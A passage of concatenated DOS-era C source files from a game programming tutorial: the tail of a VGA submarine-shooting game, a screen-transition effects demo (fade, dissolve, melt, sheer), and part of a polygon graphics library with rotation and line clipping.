subs[index].xv = -2 - rand()%6;
subs[index].x = 320 - subs[index].object.width;
subs[index].direction = SUB_LEFT;
subs[index].object.curr_frame = 1;
} // end if left
else
{
// set all fields
subs[index].xv = 2 + rand()%6;
subs[index].x = 0;
subs[index].direction = SUB_RIGHT;
subs[index].object.curr_frame = 0;
} // end else direction right
// scan background under sub
// extract proper sprite size
sprite_width = subs[index].object.width;
sprite_height = subs[index].object.height;
// scan behind sprite
subs[index].object.x = subs[index].x;
subs[index].object.y = subs[index].y;
Behind_Sprite_DB((sprite_ptr)&subs[index].object);
// done so bail
break;
} // end if dead
} // end for index
} // end Start_Sub
///////////////////////////////////////////////////////////////////////////
void Move_Subs(void)
{
// thjis function moves all the subs and kills them if they hit the edge
// of the screen
int index, // used for loop variable
sx,sy; // used for temporary position variables
// process each sub or boat in a rray
for (index=0; index<NUM_SUBS; index++)
{
// is this vehicle active ?
if (subs[index].state == SUB_ALIVE)
{
// move the sub
sx = (subs[index].x+=subs[index].xv);
sy = (subs[index].y+=subs[index].yv);
// do boundary tests
if (sy>155)
subs[index].y = 155;
else
if ((subs[index].type != SUB_BOAT) && sy<16)
subs[index].y = 16;
if ( ((subs[index].direction==SUB_LEFT) && (sx<0)) ||
((subs[index].direction==SUB_RIGHT) &&
(sx>320-subs[index].object.width)) )
{
// terminate sub or boat
subs[index].state = SUB_DEAD;
// increment number of ships that got away
got_away_this_wave++;
} // end if off screen
} // end if alive
} // end for index
} // end Move_Subs
////////////////////////////////////////////////////////////////////////////
void Draw_Score(void)
{
// this function draws the players score in the display module
char buffer[128];
// show the score
sprintf(buffer,"%ld",players_score);
Blit_String_DB(55,180,10,buffer,0);
} // end Draw_Score
/////////////////////////////////////////////////////////////////////////////
void Rotate_Lights(void)
{
// this is a self contained functions that uses color rotation to make the
// lights on the cannon rotate
static int clock=0, // used for timing, note: they are static!
entered_yet=0;
RGB_color color, // used to hold color values during processing
color_1,
color_2,
color_3;
// test if function is being called for first time
if (!entered_yet)
{
// reset the palette registers to bright blue, dark blue, dark blue
color.red = 0;
color.green = 0;
color.blue = 63;
Set_Palette_Register(246,(RGB_color_ptr)&color);
color.blue = 20;
Set_Palette_Register(247,(RGB_color_ptr)&color);
Set_Palette_Register(248,(RGB_color_ptr)&color);
// system has initialized, so flag it
entered_yet=1;
} // end if first time into function
// try and rotate the light colors i.e. color rotation
if (++clock==5) // is it time to rotate
{
// get the colors
Get_Palette_Register(246,(RGB_color_ptr)&color_1);
Get_Palette_Register(247,(RGB_color_ptr)&color_2);
Get_Palette_Register(248,(RGB_color_ptr)&color_3);
// set the colors
Set_Palette_Register(248,(RGB_color_ptr)&color_1);
Set_Palette_Register(246,(RGB_color_ptr)&color_2);
Set_Palette_Register(247,(RGB_color_ptr)&color_3);
// reset the clock
clock=0;
} // end if time to rotate
} // end Rotate_Lights
////////////////////////////////////////////////////////////////////////////
void Start_Wave(void)
{
// this function is used to start a wave, it resets all the system variables
// reset number of ships that got away
got_away_this_wave = 0;
// reset wave end and clock
wave_end = 0;
wave_clock = 0;
// reset number of ships hit this wave
hits_this_wave = 0;
ships_large_hit = 0;
ships_small_hit = 0;
ships_boat_hit = 0;
// reset number of ships so far
ships_so_far = 0;
// more ships as the wave number increases
ships_this_wave = 10 + wave_number*2;
// increase wave number
wave_number++;
} // end Start_Wave
/////////////////////////////////////////////////////////////////////////////
void Erase_End_Wave(void)
{
// this function is used to erase the imagery drawn by the end of wave display
int index; // loop index
// draw a big blue rectangle in area where stats will be displayed
for (index=40; index<=132; index++)
{
_fmemset((char far *)(double_buffer+((index<<8)+(index<<6))+88),
WATER_COLOR,162);
} // end for index
} // end Erase_End_Wave
/////////////////////////////////////////////////////////////////////////////
void Draw_End_Wave(void)
{
// this function is used to draw the imagery drawn by the end of wave display
// also note how it is self contained
static int entered=0; // used to flag if the function has been entered once
char buffer[128]; // used for string printing
int bonus; // used to compute players bonus
// should we play sound
if (!entered)
{
Play_Sound(SOUND_WAVE);
entered=1;
} // end if first time
// draw text
sprintf(buffer,"WAVE #%d...COMPLETE!",wave_number);
Blit_String_DB(88,40,12,buffer,1);
sprintf(buffer,"Hits Target");
Blit_String_DB(88,50,15,buffer,1);
sprintf(buffer,"%d",ships_large_hit);
Blit_String_DB(96,64,15,buffer,1);
sprintf(buffer,"%d",ships_small_hit);
Blit_String_DB(96,64+20,15,buffer,1);
sprintf(buffer,"%d",ships_boat_hit);
Blit_String_DB(96,64+40,15,buffer,1);
// compute bonus and display
bonus = (ships_this_wave - got_away_this_wave) * 25;
sprintf(buffer,"BONUS %d",bonus);
Blit_String_DB(88,64+60,10,buffer,1);
// draw icons
SET_SPRITE_SIZE(48,64);
Draw_Sprite_DB((sprite_ptr)&icons);
// increment counter and test
if (++wave_clock>75)
{
// add up total ships that got away to running total
total_got_away+=got_away_this_wave;
// start system back up
Start_Wave();
Erase_End_Wave();
// add bonus to players score
players_score+=bonus;
// reset static
entered=0;
} // end if
} // end Draw_End_Wave
////////////////////////////////////////////////////////////////////////////
void Load_Subs(void)
{
// this function loads the imagery for the subs
int index; // looping index
// load in imagery for small subs
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharksb1.pcx", (pcx_picture_ptr)&imagery_pcx,1);
SET_SPRITE_SIZE(32,10);
// load in frames for subs
for (index=0; index<=3; index++)
{
Sprite_Init((sprite_ptr)&subs[index].object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&subs[index].object,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&subs[index].object,1,1,0);
// set up fields
subs[index].object.curr_frame = 0;
subs[index].type = SUB_SMALL;
subs[index].state = SUB_DEAD;
subs[index].object.width = 32;
subs[index].object.height = 10;
} // end for index
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// load in imagery for large subs
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharksb2.pcx", (pcx_picture_ptr)&imagery_pcx,1);
SET_SPRITE_SIZE(48,20);
for (index=4; index<=7; index++)
{
Sprite_Init((sprite_ptr)&subs[index].object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&subs[index].object,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&subs[index].object,1,1,0);
// set up fields
subs[index].object.curr_frame = 0;
subs[index].type = SUB_LARGE;
subs[index].state = SUB_DEAD;
subs[index].object.width = 48;
subs[index].object.height = 20;
} // end for index
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// load in imagery for boats
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharkbot.pcx", (pcx_picture_ptr)&imagery_pcx,1);
SET_SPRITE_SIZE(24,8);
for (index=8; index<=11; index++)
{
Sprite_Init((sprite_ptr)&subs[index].object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&subs[index].object,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&subs[index].object,1,1,0);
// set up fields
subs[index].object.curr_frame = 0;
subs[index].type = SUB_BOAT;
subs[index].state = SUB_DEAD;
subs[index].object.width = 24;
subs[index].object.height = 8;
} // end for index
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// load in imagery for ship icons
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharkicn.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize icons and extract bitmaps
SET_SPRITE_SIZE(48,64);
Sprite_Init((sprite_ptr)&icons,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&icons,0,0,0);
icons.x = 200;
icons.y = 56;
icons.curr_frame = 0;
icons.state = 1;
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Subs
///////////////////////////////////////////////////////////////////////////////
void Load_Player(void)
{
// this function loads the imagery for the players
int index; // loop index
// load in imagery for player's gun
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharkgun.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract bitmaps
SET_SPRITE_SIZE(24,24);
Sprite_Init((sprite_ptr)&player,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,1,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,(sprite_ptr)&player,2,2,0);
player.x = 148;
player.y = 149;
player.curr_frame = CANNON_NORTH;
player.state = 1;
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
// load in imagery for missiles
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharkmis.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize player and extract bitmaps
SET_SPRITE_SIZE(8,8);
// initialize the sprite for each missile
for (index=0; index<NUM_MISSILES; index++)
{
Sprite_Init((sprite_ptr)&missiles[index].object,0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&missiles[index].object,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&missiles[index].object,1,1,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&missiles[index].object,2,2,0);
// set some important fields
missiles[index].x = 0;
missiles[index].y = 0;
missiles[index].object.curr_frame = 0;
missiles[index].state = MISS_DEAD;
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Player
///////////////////////////////////////////////////////////////////////////////
void Load_Explosions(void)
{
// this function loads the imagery for the explosions (note there are 3 versions)
int index, // loop variable
row; // used to select a random explosion
// load in imagery for explosions
PCX_Init((pcx_picture_ptr)&imagery_pcx);
PCX_Load("sharkexp.pcx", (pcx_picture_ptr)&imagery_pcx,1);
// initialize the explosions and extract bitmaps
SET_SPRITE_SIZE(32,32);
// load in frames for explosions
for (index=0; index<NUM_EXPLOSIONS; index++)
{
// select a random explosion to place in sprite
row = rand()%2;
Sprite_Init((sprite_ptr)&explosions[index],0,0,0,0,0,0);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],0,0,row);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],1,1,row);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],2,2,row);
PCX_Grab_Bitmap((pcx_picture_ptr)&imagery_pcx,
(sprite_ptr)&explosions[index],3,3,row);
} // end for
// delete the pcx file
PCX_Delete((pcx_picture_ptr)&imagery_pcx);
} // end Load_Explosions
//////////////////////////////////////////////////////////////////////////////
void Do_Intro(void)
{
// this function displays the introduction screen and then melts it
// load intro screen and display for a few secs.
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("sharkint.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
Delay(50);
Fade_Lights();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
// load in the background image into the double buffer
PCX_Init((pcx_picture_ptr)&background_pcx);
PCX_Load("sharkbak.pcx", (pcx_picture_ptr)&background_pcx,1);
// copy the background into the double buffer
_fmemcpy((char far *)double_buffer,
(char far *)(background_pcx.buffer),
SCREEN_WIDTH*SCREEN_HEIGHT);
PCX_Delete((pcx_picture_ptr)&background_pcx);
} // end Do_Intro
//////////////////////////////////////////////////////////////////////////////
void Show_Instructions(void)
{
// this function displays the instructions and then disolves them
// load instruction screen and display it until a key press
PCX_Init((pcx_picture_ptr)&intro_pcx);
PCX_Load("sharkins.pcx", (pcx_picture_ptr)&intro_pcx,1);
PCX_Show_Buffer((pcx_picture_ptr)&intro_pcx);
// let user see it
while(!kbhit()){};
getch();
Disolve();
PCX_Delete((pcx_picture_ptr)&intro_pcx);
} // end Show_Instructions
// M A I N /////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // main event loop exit flag
index; // loop variable
char buffer[128]; // used for string printing
printf("\nStarting <NAME>...");
// initialize sound system
sound_available = Initialize_Sound_System();
Delay(100);
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// create a double buffer
if (!Create_Double_Buffer(SCREEN_HEIGHT))
{
printf("\nNot enough memory to create double buffer.");
} // end if
// clear the double buffer
Fill_Double_Buffer(0);
// impress user (at least try to)
Do_Intro();
// show instructions
Show_Instructions();
// load imagery for game
Load_Player();
Load_Explosions();
Load_Subs();
// initialize everything
Init_Missiles();
Init_Bubbles();
Init_Explosions();
Init_Subs();
// start up wave one
Start_Wave();
// scan background first time around under everything
// set sprite size for engine and scan background under player
SET_SPRITE_SIZE(24,24);
Behind_Sprite_DB((sprite_ptr)&player);
// begin main event loop
while(!done)
{
// erase all objects
// set sprite size for engine
SET_SPRITE_SIZE(24,24);
Erase_Sprite_DB((sprite_ptr)&player);
// erase missiles
Erase_Missiles();
// erase bubbles
Erase_Bubbles();
// erase explosions
Erase_Explosions();
// erase subs
Erase_Subs();
if (wave_end)
Erase_End_Wave();
// move all objects
// test for keyboard press
if (kbhit())
{
// what does user want to do?
switch(getch())
{
case 'a': // move cannon one to the left
{
// decrement animation cell
if (--player.curr_frame<0)
player.curr_frame=0;
} break;
case 's': // move cannon one to the right
{
// increment animation cell
if (++player.curr_frame==3)
player.curr_frame=2;
} break;
case ' ': // start a missile
{
// try and start a missile
// remember to use direction and velocity look up
// so that direction of cannon is taken into
// consideration!
Start_Missile((sprite_ptr)&player,
player.x+cannon_pos_x[player.curr_frame],
player.y+cannon_pos_y[player.curr_frame],
cannon_vel_x[player.curr_frame],
cannon_vel_y[player.curr_frame],
PLAYER_MISSILE);
} break;
case 'q': // trying to exit
{
// set global exit flag
done=1;
} break;
default:break;
} // end switch
} // end if kbhit
// move subs
Move_Subs();
// move missiles
Move_Missiles();
// move bubbles
Move_Bubbles();
// animate explosions
Animate_Explosions();
// test if it's end of a wave
if (game_over==0 && (got_away_this_wave+hits_this_wave >= ships_this_wave-1))
{
// set end of wave flag
wave_end=1;
// reset all subs so that they disapear
Init_Subs();
} // end if end of wave
// BEGIN CRITICAL SECTION - this is where we can start new objects and
// not have a problem
// should a sub be sent out
if (game_over==0 && wave_end==0 && (rand()%50)==0)
Start_Sub();
// test if the game is over
if (total_got_away > 100 && game_over==0)
{
// set flag that game is over
game_over=1;
// allow game over sequence to last for 100 frames
game_over_clock=100;
} // end if game over
// should we do the game over sequence
if (game_over && game_over_clock > 0)
{
// start an explosion somewhere
Start_Explosion(rand()%300, rand()%160, rand()%3);
// draw score
sprintf(buffer,"G A M E O V E R !",wave_number);
Blit_String_DB(84,64,12,buffer,1);
sprintf(buffer,"Final Score %ld",players_score);
Blit_String_DB(84,80,10,buffer,1);
// test if it's time to exit game
if (--game_over_clock==0)
done=1; // set main event loop exit flag
} // end if game over sequence
// END CRITICAL SECTION
// now we scan and draw all objects
// set sprite size for engine
SET_SPRITE_SIZE(24,24);
Behind_Sprite_DB((sprite_ptr)&player);
Behind_Missiles();
Behind_Subs();
Behind_Bubbles();
Behind_Explosions();
// set sprite size for engine
SET_SPRITE_SIZE(24,24);
Draw_Sprite_DB((sprite_ptr)&player);
Draw_Subs();
Draw_Missiles();
Draw_Bubbles();
Draw_Explosions();
Draw_Score();
// test if the wave is over and statistics need to be displayed
if (wave_end)
Draw_End_Wave();
// display double buffer
Show_Double_Buffer((char far *)double_buffer);
// do all color palette animation
Rotate_Lights();
// wait a sec
Delay(1);
} // end while
// were out of here!
Play_Sound(SOUND_END);
// exit system with a cool transition
Melt();
// reset the video mode back to text
Set_Video_Mode(TEXT_MODE);
// free the double buffer
Delete_Double_Buffer();
// close sound system
Close_Sound_System();
} // end main
<file_sep>/day_06/transfx.c
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h"
#include "graph4.h"
// D E F I N E S /////////////////////////////////////////////////////////////
#define NUM_WORMS 320
// S T R U C T U R E S //////////////////////////////////////////////////////
typedef struct worm_typ
{
int y; // current y position of worm
int color; // color of worm
int speed; // speed of worm
int counter; // counter
} worm, *worm_ptr;
// G L O B A L S /////////////////////////////////////////////////////////////
pcx_picture screen_fx; // our test screen
//////////////////////////////////////////////////////////////////////////////
void Fade_Lights(void)
{
// this functions fades the lights by slowly decreasing the color values
// in all color registers
int pal_reg,index;
RGB_color color;
for (index=0; index<30; index++)
{
for (pal_reg=1; pal_reg<255; pal_reg++)
{
// get the color to fade
Get_Palette_Register(pal_reg,(RGB_color_ptr)&color);
if (color.red > 5) color.red-=3;
else
color.red = 0;
if (color.green > 5) color.green-=3;
else
color.green = 0;
if (color.blue > 5) color.blue-=3;
else
color.blue = 0;
// set the color to a diminished intensity
Set_Palette_Register(pal_reg,(RGB_color_ptr)&color);
} // end for pal_reg
// wait a bit
Delay(2);
} // end fade for
} // end Fade_Lights
//////////////////////////////////////////////////////////////////////////////
void Disolve(void)
{
// disolve screen by ploting zillions of black pixels
unsigned long index;
for (index=0; index<=300000; index++,Plot_Pixel_Fast(rand()%320, rand()%200, 0));
} // end Disolve
//////////////////////////////////////////////////////////////////////////////
void Melt(void)
{
// this function "melts" the screen by moving little worms at different speeds
// down the screen. These worms change to the color thy are eating
int index,ticks=0;
worm worms[NUM_WORMS]; // the array of worms used to make the screen melt
// initialize the worms
for (index=0; index<160; index++)
{
worms[index].color = Get_Pixel(index,0);
worms[index].speed = 3 + rand()%9;
worms[index].y = 0;
worms[index].counter = 0;
// draw the worm
Plot_Pixel_Fast((index<<1),0,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),2,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,0,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,2,(char)worms[index].color);
} // end index
// do screen melt
while(++ticks<1800)
{
// process each worm
for (index=0; index<320; index++)
{
// is it time to move worm
if (++worms[index].counter == worms[index].speed)
{
// reset counter
worms[index].counter = 0;
worms[index].color = Get_Pixel(index,worms[index].y+4);
// has worm hit bottom?
if (worms[index].y < 193)
{
Plot_Pixel_Fast((index<<1),worms[index].y,0);
Plot_Pixel_Fast((index<<1),worms[index].y+1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),worms[index].y+2,(char)worms[index].color);
Plot_Pixel_Fast((index<<1),worms[index].y+3,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,worms[index].y,0);
Plot_Pixel_Fast((index<<1)+1,worms[index].y+1,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,worms[index].y+2,(char)worms[index].color);
Plot_Pixel_Fast((index<<1)+1,worms[index].y+3,(char)worms[index].color);
worms[index].y++;
} // end if worm isn't at bottom yet
} // end if time to move worm
} // end index
// accelerate melt
if (!(ticks % 500))
{
for (index=0; index<160; index++)
worms[index].speed--;
} // end if time to accelerate melt
} // end while
} // end Melt
//////////////////////////////////////////////////////////////////////////////
void Sheer(void)
{
// this program "sheers" the screen for lack of a better word.
long index;
int x,y;
// select starting point of sheers
x=rand()%320;
y=rand()%200;
// do it a few times to make sure whole screen is destroyed
for (index=0; index<100000; index++)
{
// move sheers
x+=17; // note the use of prime numbers
y+=13;
// test if sheers are of boundaries, if so roll them over
if (x>319)
x = x - 319;
if (y>199)
y = y - 199;
// plot the pixel in black
Plot_Pixel_Fast(x,y,0);
} // end for index
} // end Sheer
// M A I N ///////////////////////////////////////////////////////////////////
void main(void)
{
int done=0, // exit flag
index=0; // current position in instruction string
static char instructions[256]=""; // holds the instructions string
char buffer[41];
// build up instruction string
strcat(instructions,"..................................................");
strcat(instructions,"Press 1 to fade the lights, ");
strcat(instructions,"Press 2 to disolve the screen, ");
strcat(instructions,"Press 3 to melt the screen, ");
strcat(instructions,"Press 4 to sheer the screen.");
strcat(instructions,"..................................................");
// set video mode to 320x200 256 color mode
Set_Video_Mode(VGA256);
// load in a background picture
PCX_Init((pcx_picture_ptr)&screen_fx);
PCX_Load("screenfx.pcx", (pcx_picture_ptr)&screen_fx,1);
PCX_Show_Buffer((pcx_picture_ptr)&screen_fx);
PCX_Delete((pcx_picture_ptr)&screen_fx);
// main event loop
while(!done)
{
// wait for a keyboard hit
if (kbhit())
{
// which special fx did user want to see
switch(getch())
{
case '1': // dim lights
{
Fade_Lights();
} break;
case '2': // disolve screen
{
Disolve();
} break;
case '3': // melt screen
{
Melt();
} break;
case '4': // sheer screen
{
Sheer();
} break;
default:break;
} // end switch
// set exit flag
done=1;
} // end if keyboard hit */
// extract the sub string to be displayed
memcpy(buffer,&instructions[index],40);
// put NULL teminator at end
buffer[40]=0;
Blit_String(0,23*8+6,15,buffer,0);
// increment instruction index
// roll over if at end of instructions
if (++index>180)
index=0;
// assume that user can only read at 1,000,000 words a second
Delay(2);
} // end while
// go back to text mode
Set_Video_Mode(TEXT_MODE);
} // end main
<file_sep>/WGAMELIB/GRAPH5.C
// I N C L U D E S ///////////////////////////////////////////////////////////
#include <io.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <dos.h>
#include <bios.h>
#include <fcntl.h>
#include <memory.h>
#include <malloc.h>
#include <math.h>
#include <string.h>
#include "graph3.h" // include our graphics stuff
#include "graph4.h"
#include "graph5.h"
// G L O B A L S ////////////////////////////////////////////////////////////
float sin_look[361], // look up tables for sin and cosine
cos_look[361];
// the clipping region, set it to default on start up
int poly_clip_min_x = POLY_CLIP_MIN_X,
poly_clip_min_y = POLY_CLIP_MIN_Y,
poly_clip_max_x = POLY_CLIP_MAX_X,
poly_clip_max_y = POLY_CLIP_MAX_Y;
// F U N C T I O N S /////////////////////////////////////////////////////////
void Create_Tables(void)
{
// this function creates the sin and cosine lookup tables
int index;
// create the tables
for (index=0; index<=360; index++)
{
cos_look[index] = (float)cos((double)(index*3.14159/180));
sin_look[index] = (float)sin((double)(index*3.14159/180));
} // end for
} // end Create_Tables
//////////////////////////////////////////////////////////////////////////////
void Rotate_Polygon(polygon_ptr poly, int angle)
{
int index; // loop index
float si,cs, // values of sin and cosine
rx,ry; // roated points
// rotate each point of the poly gon around its local origin
// note that angle is an integer and ranges from -360 to +360
// compute sin and cos of angle to be rotated
if (angle>=0)
{
// extract sin and cosine from look up table
si = sin_look[angle];
cs = cos_look[angle];
} // end if positive angle
else
{
// angle is negative to convert to positive
// convert negative angle to positive angle and extract values
si = sin_look[angle+360];
cs = cos_look[angle+360];
} // end else
// using values for sin and cosine rotate the point
for (index=0; index<poly->num_vertices; index++)
{
// compute rotated values using rotation eqns.
rx = poly->vertices[index].x * cs - poly->vertices[index].y * si;
ry = poly->vertices[index].y * cs + poly->vertices[index].x * si;
// store the rotated vertex back into structure
poly->vertices[index].x = rx;
poly->vertices[index].y = ry;
} // end for
} // end Rotate_Polygon
///////////////////////////////////////////////////////////////////////////////
void Scale_Polygon(polygon_ptr poly, float scale)
{
int index;
// scale each vertex of the polygon
for (index=0; index<poly->num_vertices; index++)
{
// multiply by the scaling factor
poly->vertices[index].x*=scale;
poly->vertices[index].y*=scale;
} // end for
} // end Scale_Polygon
///////////////////////////////////////////////////////////////////////////////
void Translate_Polygon(polygon_ptr poly, int dx,int dy)
{
// translate the origin of the polygon
poly->lxo+=dx;
poly->lyo+=dy;
// that was easy!
} // end Translate_Polygon
///////////////////////////////////////////////////////////////////////////////
void Draw_Polygon(polygon_ptr poly)
{
// this function draws a polygon on the screen without clipping
// caller should make sure that vertices are within bounds of clipping
// rectangle, also the polygon will always be unfilled regardless
// of the fill flag
int index,xo,yo;
// extract local origin
xo = poly->lxo;
yo = poly->lyo;
// draw polygon
for (index=0; index<poly->num_vertices-1; index++)
{
Bline(xo+(int)poly->vertices[index].x,yo+(int)poly->vertices[index].y,
xo+(int)poly->vertices[index+1].x,yo+(int)poly->vertices[index+1].y,
poly->b_color);
} // end for index
// close polygon?
if (!poly->closed)
return;
Bline(xo+(int)poly->vertices[index].x,yo+(int)poly->vertices[index].y,
xo+(int)poly->vertices[0].x,yo+(int)poly->vertices[0].y,
poly->b_color);
} // end Draw_Polygon
//////////////////////////////////////////////////////////////////////////////
int Clip_Line(int *x1,int *y1,int *x2, int *y2)
{
// this function clips the sent line using the globally defined clipping
// region
int point_1 = 0, point_2 = 0; // tracks if each end point is visible or invisible
int clip_always = 0; // used for clipping override
int xi,yi; // point of intersection
int right_edge=0, // which edges are the endpoints beyond
left_edge=0,
top_edge=0,
bottom_edge=0;
int success = 0; // was there a successfull clipping
float dx,dy; // used to holds slope deltas
// SECTION 1 //////////////////////////////////////////////////////////////////
// test if line is completely visible
if ( (*x1>=poly_clip_min_x) && (*x1<=poly_clip_max_x) &&
(*y1>=poly_clip_min_y) && (*y1<=poly_clip_max_y) )
point_1 = 1;
if ( (*x2>=poly_clip_min_x) && (*x2<=poly_clip_max_x) &&
(*y2>=poly_clip_min_y) && (*y2<=poly_clip_max_y) )
point_2 = 1;
// SECTION 2 /////////////////////////////////////////////////////////////////
// test endpoints
if (point_1==1 && point_2==1)
return(1);
// SECTION 3 /////////////////////////////////////////////////////////////////
// test if line is completely invisible
if (point_1==0 && point_2==0)
{
// must test to see if each endpoint is on the same side of one of
// the bounding planes created by each clipping region boundary
if ( ((*x1<poly_clip_min_x) && (*x2<poly_clip_min_x)) || // to the left
((*x1>poly_clip_max_x) && (*x2>poly_clip_max_x)) || // to the right
((*y1<poly_clip_min_y) && (*y2<poly_clip_min_y)) || // above
((*y1>poly_clip_max_y) && (*y2>poly_clip_max_y)) ) // below
{
// no need to draw line
return(0);
} // end if invisible
// if we got here we have the special case where the line cuts into and
// out of the clipping region
clip_always = 1;
} // end if test for invisibly
// SECTION 4 /////////////////////////////////////////////////////////////////
// take care of case where either endpoint is in clipping region
if (( point_1==1) || (point_1==0 && point_2==0) )
{
// compute deltas
dx = *x2 - *x1;
dy = *y2 - *y1;
// compute what boundary line need to be clipped against
if (*x2 > poly_clip_max_x)
{
// flag right edge
right_edge = 1;
// compute intersection with right edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_max_x - *x1) + *y1);
else
yi = -1; // invalidate intersection
} // end if to right
else
if (*x2 < poly_clip_min_x)
{
// flag left edge
left_edge = 1;
// compute intersection with left edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_min_x - *x1) + *y1);
else
yi = -1; // invalidate intersection
} // end if to left
// horizontal intersections
if (*y2 > poly_clip_max_y)
{
// flag bottom edge
bottom_edge = 1;
// compute intersection with right edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_max_y - *y1) + *x1);
else
xi = -1; // invalidate inntersection
} // end if bottom
else
if (*y2 < poly_clip_min_y)
{
// flag top edge
top_edge = 1;
// compute intersection with top edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_min_y - *y1) + *x1);
else
xi = -1; // invalidate inntersection
} // end if top
// SECTION 5 /////////////////////////////////////////////////////////////////
// now we know where the line passed thru
// compute which edge is the proper intersection
if (right_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x2 = poly_clip_max_x;
*y2 = yi;
success = 1;
} // end if intersected right edge
else
if (left_edge==1 && (yi>=poly_clip_min_y && yi<=poly_clip_max_y) )
{
*x2 = poly_clip_min_x;
*y2 = yi;
success = 1;
} // end if intersected left edge
if (bottom_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x2 = xi;
*y2 = poly_clip_max_y;
success = 1;
} // end if intersected bottom edge
else
if (top_edge==1 && (xi>=poly_clip_min_x && xi<=poly_clip_max_x) )
{
*x2 = xi;
*y2 = poly_clip_min_y;
success = 1;
} // end if intersected top edge
} // end if point_1 is visible
// SECTION 6 /////////////////////////////////////////////////////////////////
// reset edge flags
right_edge = left_edge= top_edge = bottom_edge = 0;
// test second endpoint
if ( (point_2==1) || (point_1==0 && point_2==0))
{
// compute deltas
dx = *x1 - *x2;
dy = *y1 - *y2;
// compute what boundary line need to be clipped against
if (*x1 > poly_clip_max_x)
{
// flag right edge
right_edge = 1;
// compute intersection with right edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_max_x - *x2) + *y2);
else
yi = -1; // invalidate inntersection
} // end if to right
else
if (*x1 < poly_clip_min_x)
{
// flag left edge
left_edge = 1;
// compute intersection with left edge
if (dx!=0)
yi = (int)(.5 + (dy/dx) * (poly_clip_min_x - *x2) + *y2);
else
yi = -1; // invalidate intersection
} // end if to left
// horizontal intersections
if (*y1 > poly_clip_max_y)
{
// flag bottom edge
bottom_edge = 1;
// compute intersection with right edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_max_y - *y2) + *x2);
else
xi = -1; // invalidate inntersection
} // end if bottom
else
if (*y1 < poly_clip_min_y)
{
// flag top edge
top_edge = 1;
// compute intersection with top edge
if (dy!=0)
xi = (int)(.5 + (dx/dy) * (poly_clip_min_y - *y2) + *x2);
else
xi = -1; // invalidate inntersection
} // end if top
// now we know where the line passed thru
// compute which edge is the proper intersection
